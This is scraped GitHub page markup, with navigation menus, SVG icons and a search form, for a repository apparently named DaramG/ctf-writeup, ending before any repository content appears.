<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="59453325" data-scoped-search-url="/DaramG/ctf-writeup/search" data-owner-scoped-search-url="/users/DaramG/search" data-unscoped-search-url="/search" data-turbo="false" action="/DaramG/ctf-writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="CEgvajTWSvhxHz6CfNJg+y/Womk7XbK90SUBVebhNHwQtBhyHNxJpXonFpvsb95uElT37SKJNXIIQWwzpYRjFQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
